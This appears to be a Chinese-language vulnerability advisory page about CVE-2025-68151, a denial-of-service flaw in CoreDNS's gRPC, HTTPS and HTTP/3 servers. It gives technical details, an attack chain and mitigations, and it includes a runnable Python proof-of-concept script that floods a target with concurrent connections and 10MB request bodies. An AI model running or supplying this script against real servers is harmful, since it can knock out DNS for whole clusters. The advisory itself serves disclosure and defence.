IPBUF安全漏洞报告
English
CVE-2025-68151 CVSS 7.5 高危

CVE-2025-68151 CoreDNS资源耗尽拒绝服务漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-68151
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CoreDNS

相关标签

拒绝服务资源耗尽CoreDNSDNS服务器gRPCHTTP/3内存耗尽CVE-2025-68151高危漏洞云原生安全

漏洞概述

CVE-2025-68151是CoreDNS中的一个高危拒绝服务漏洞。CoreDNS是一个用Go语言编写的模块化DNS服务器,通过插件链实现各种功能。该漏洞影响CoreDNS 1.14.0之前的多个服务器实现,包括gRPC、HTTPS和HTTP/3协议支持。具体问题在于这些服务器实现缺少关键的资源限制控制机制,包括连接限制、流限制和消息大小约束。未经身份验证的远程攻击者可以通过向目标服务器发起大量并发连接、创建大量流或发送过大的请求体来耗尽服务器内存资源,最终导致服务器性能严重下降或完全崩溃。此漏洞与CVE-2025-47950(QUIC DoS)在性质上相似,但影响范围更广,涵盖了额外的服务器类型。由于CoreDNS在容器化环境和Kubernetes集群中广泛使用,此漏洞可能对云原生基础设施造成严重影响。攻击者无需任何特殊权限或用户交互即可发起攻击,这使得漏洞的利用门槛极低,危害性极高。

技术细节

该漏洞的根本原因在于CoreDNS的gRPC、HTTPS和HTTP/3服务器实现中缺少适当的资源限制机制。在正常的服务器实现中,应当对单个客户端可以建立的连接数、每个连接可以创建的流数量以及单个消息的最大大小进行限制。然而,受影响的CoreDNS版本在这些方面缺乏有效的控制。具体来说:1) 连接限制缺失:服务器没有对来自单个IP或用户的并发连接数设置上限;2) 流限制缺失:在支持多路复用的协议中,每个连接可以创建的流数量没有限制;3) 消息大小限制缺失:服务器接受任意大小的请求体而没有进行验证。攻击者可以利用这些缺陷,通过脚本同时发起数千个连接,或在每个连接上创建大量流,或发送巨大的请求体,从而快速耗尽服务器的内存和文件描述符资源。在Go语言的运行时环境中,内存耗尽会导致垃圾回收压力增大、延迟增加,最终可能导致进程被OOM killer终止或完全无响应。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别运行CoreDNS服务且版本低于1.14.0的目标服务器,确认gRPC、HTTPS或HTTP/3端口处于开放状态
STEP 2
步骤2
资源探测:攻击者发送探测请求以确认服务器缺少连接限制、流限制和消息大小限制等资源控制机制
STEP 3
步骤3
攻击发起:攻击者从单台或多台机器同时发起大量TCP连接请求,建立远超正常客户端的并发连接数
STEP 4
步骤4
资源耗尽:每个连接发送大量数据或创建大量流,快速消耗服务器的内存、CPU和文件描述符资源
STEP 5
步骤5
服务降级/崩溃:服务器因资源耗尽导致响应延迟急剧增加,最终无法处理正常DNS查询请求或完全崩溃
STEP 6
步骤6
影响扩大:在Kubernetes等容器化环境中,CoreDNS故障会导致整个集群的DNS解析失败,影响所有Pod间的通信

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-68151 PoC - CoreDNS Resource Exhaustion DoS # Affected: CoreDNS < 1.14.0 (gRPC, HTTPS, HTTP/3 servers) # Usage: python3 cve-2025-68151-poc.py <target_ip> <port> import asyncio import argparse import sys from typing import List async def create_connection(target: str, port: int, conn_id: int): """Create a single connection to the target server""" try: reader, writer = await asyncio.wait_for( asyncio.open_connection(target, port), timeout=5 ) print(f"[+] Connection {conn_id} established to {target}:{port}") # Send oversized request body to exhaust memory oversized_data = b'A' * (10 * 1024 * 1024) # 10MB writer.write(oversized_data) await writer.drain() # Keep connection alive await asyncio.sleep(300) writer.close() await writer.wait_closed() except Exception as e: print(f"[-] Connection {conn_id} failed: {e}") async def attack_http3(target: str, port: int, count: int): """Attack HTTP/3 server implementation""" tasks = [] for i in range(count): task = asyncio.create_task(create_connection(target, port, i)) tasks.append(task) await asyncio.sleep(0.01) # Stagger connections await asyncio.gather(*tasks, return_exceptions=True) async def attack_grpc(target: str, port: int, count: int): """Attack gRPC server implementation""" # gRPC uses HTTP/2, create multiple streams tasks = [] for i in range(count): task = asyncio.create_task(create_connection(target, port, i)) tasks.append(task) await asyncio.gather(*tasks, return_exceptions=True) async def main(): parser = argparse.ArgumentParser(description='CVE-2025-68151 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('port', type=int, help='Target port') parser.add_argument('-c', '--count', type=int, default=100, help='Number of concurrent connections') parser.add_argument('-t', '--type', choices=['http3', 'grpc', 'https'], default='https', help='Protocol type') args = parser.parse_args() print(f"[*] Starting CVE-2025-68151 attack against {args.target}:{args.port}") print(f"[*] Creating {args.count} concurrent connections...") if args.type == 'http3': await attack_http3(args.target, args.port, args.count) elif args.type == 'grpc': await attack_grpc(args.target, args.port, args.count) else: await attack_http3(args.target, args.port, args.count) print("[*] Attack completed") if __name__ == '__main__': asyncio.run(main())

影响范围

CoreDNS < 1.14.0 (gRPC server)
CoreDNS < 1.14.0 (HTTPS server)
CoreDNS < 1.14.0 (HTTP/3 server)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 在负载均衡器或防火墙层面限制单个IP的并发连接数;2) 关闭不必要的gRPC、HTTPS和HTTP/3协议支持,仅保留必要的DNS-over-UDP和DNS-over-TCP;3) 使用网络ACL限制对CoreDNS端口的访问来源;4) 增加CoreDNS进程的ulimit限制和系统级文件描述符限制以提高抗压能力;5) 部署流量清洗服务过滤异常流量模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表